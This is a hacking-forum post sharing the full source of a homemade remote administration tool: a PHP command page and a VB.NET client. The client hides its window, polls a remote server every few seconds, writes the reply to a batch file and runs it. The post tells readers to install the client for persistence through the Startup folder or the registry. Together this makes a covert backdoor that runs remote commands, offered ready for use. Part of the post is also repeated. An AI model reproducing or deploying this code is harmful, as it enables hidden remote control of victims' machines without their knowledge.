[HC Official] Remote Administration Tool 05-20-2013, 10:49 PM
#1
Hack Community Remote Administration Tool
Version 1.0
Hello [username].
I have written a RAT in PHP and VB for the community's own use.
Download Links:
http://static_cast.home.comcast.net/RAT.zip
https://dl.dropboxusercontent.com/u/125590256/RAT.zip
![[Image: clean.jpg]](http://s10.postimg.org/64agywd0l/clean.jpg)
http://s23.postimg.org/3sqq3lpnf/clean.png
Here is the code for both files: [TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees.
]:
rat.php
host.exe (Just make a windows form and paste this if you have Visual Studio)
EDIT: I've recently been getting comments from people saying they can't figure it out. Here's how:
1) Put the PHP file on a web-server with PHP.
2) Put the VB file in the startup folder of a computer [or registry startup]
3) ???
4) Profit.
Bugs:
Very bad.
Version 1.0
Hello [username].
I have written a RAT in PHP and VB for the community's own use.
Download Links:
http://static_cast.home.comcast.net/RAT.zip
https://dl.dropboxusercontent.com/u/125590256/RAT.zip
![[Image: clean.jpg]](http://s10.postimg.org/64agywd0l/clean.jpg)
http://s23.postimg.org/3sqq3lpnf/clean.png
Here is the code for both files: [TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees.
]:rat.php
Code:
<?php
if(isset($_POST['submit']))
{
$text = $_POST['text'];
file_put_contents("commands.txt", $text);
}
?>
<html>
<head>
<title>Hackcommunity PHP RAT</title>
</head>
<body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white">
<center>
<div style="background-color: black"><img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /></div>
<form action="#" method="POST" style="height: 520px; width: 480px">
<textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"><?php echo file_get_contents("commands.txt"); ?></textarea>
<br />
<input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" />
</form>
</center>
</body>
</html>host.exe (Just make a windows form and paste this if you have Visual Studio)
Code:
Imports System.Net
Imports System.IO.StreamReader
Imports System.IO.StreamWriter
Public Class Form1
Dim oStrText As String
Dim nStrText As String
Dim commandPath As String = "commands.bat"
Dim serverPath As String = "server.txt"
Dim server As String
Public Function LoadSiteContent(ByVal url As String) As String
Try
Dim instance As WebClient = New WebClient
Return instance.DownloadString(url)
Catch ex As Exception
Return ""
End Try
End Function
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0
Me.ShowIcon = False
Me.ShowInTaskbar = False
Timer1.Enabled = True
Timer1.Interval = 2500
Try
Dim objReader As New System.IO.StreamReader(serverPath)
server = objReader.ReadToEnd()
objReader.Close()
Catch ex As Exception
Dim objWriter As New System.IO.StreamWriter(serverPath, False)
objWriter.Write("server to listen to")
objWriter.Close()
End Try
Try
Dim objReader As New System.IO.StreamReader(commandPath)
oStrText = objReader.ReadToEnd()
objReader.Close()
Catch ex As Exception
Dim objWriter As New System.IO.StreamWriter(commandPath, False)
objWriter.Write(nStrText)
objWriter.Close()
End Try
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
nStrText = LoadSiteContent(server)
If nStrText <> oStrText Then
oStrText = nStrText
Dim objWriter As New System.IO.StreamWriter(commandPath, False)
objWriter.Write(nStrText)
objWriter.Close()
Shell(commandPath)
End If
End Sub
End ClassEDIT: I've recently been getting comments from people saying they can't figure it out. Here's how:
1) Put the PHP file on a web-server with PHP.
2) Put the VB file in the startup folder of a computer [or registry startup]
3) ???
4) Profit.
Bugs:
Very bad.
Apparently to the media, the best hacking tool around is a magnifying glass to the monitor. Ooh, pretty colors.




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)
My criticism 
![[Image: hcphprat_screenshot01.gif]](http://trythis00011.altervista.org/hcphprat_screenshot01.gif)